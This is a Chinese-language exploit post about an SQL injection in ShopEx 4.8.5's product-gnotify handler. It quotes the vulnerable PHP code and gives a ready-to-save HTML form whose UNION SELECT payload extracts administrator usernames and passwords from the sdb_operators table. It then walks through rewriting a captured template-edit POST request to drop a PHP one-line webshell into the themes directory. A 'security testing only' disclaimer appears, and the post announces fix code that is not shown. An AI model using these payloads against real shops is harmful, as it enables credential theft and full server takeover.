漏洞文件:
漏洞核心函数 \core\model_v5\trading\mdl.goods.php
function gnotify($goods_id=0,$product_id=0){ if($_POST['goods']['goods_id']){ $goods_id = $_POST['goods']['goods_id']; $product_id = $_POST['goods']['product_id']; } $this->id =$goods_id; $objGoods = &$this->system->loadModel('trading/goods'); $aProduct = $objGoods->getProducts($goods_id, $product_id);//www.lpboke.com 直接带进去了 $this->pagedata['goods'] = $aProduct[0]; if($this->member[member_id]){ $objMember = &$this->system->loadModel('member/member'); $aMemInfo = $objMember->getFieldById($this->member[member_id], array('email')); $this->pagedata['member'] = $aMemInfo; } $this->output(); }
\core\shop\controller\ctl.product.php 文件调用
漏洞代码
public function getProducts( $gid, $pid = 0 ) { $sqlWhere = ""; if ( 0 < $pid ) { $sqlWhere = " AND A.product_id = ".$pid; //www.lpboke.com 没过滤 ~~~~~~ } $sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere; return $this->db->select( $sql ); }
EXP: 保存为html使用即可
<html> <head> <title>Shopex 4.8.5 SQL Injection Exp</title> </head> <body> <h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2> <form action="http://www.lpboke.com/?product-gnotify" method="post" name="submit_url"> <input type="hidden" name="goods[goods_id]" value="3"> <input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators"> <input type="submit" value=""> </form> 网址请修改:[url]http://www.lpboke.com/?product-gnotify[/url] 本程序只能用于网站安全检测 禁止用于非法途径,产生的一切后果与作者无关! <body> </html>
拿shell方法…
第一步 页面管理 修改模版 然后选一个XML编辑
开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来
然后改包 包要这么改 我研究了半天 尼玛的菊花红
id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=
解释一下 id是你选择的模版文件夹名称 后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹 然后 name 是你提交的文件名字 file_source 是后门或者shel
我这里是一句话 你们懂的 然后提交了之后 地址是这样的http://Madman.in/themes/文件名称/你的木马名称
最后是修复代码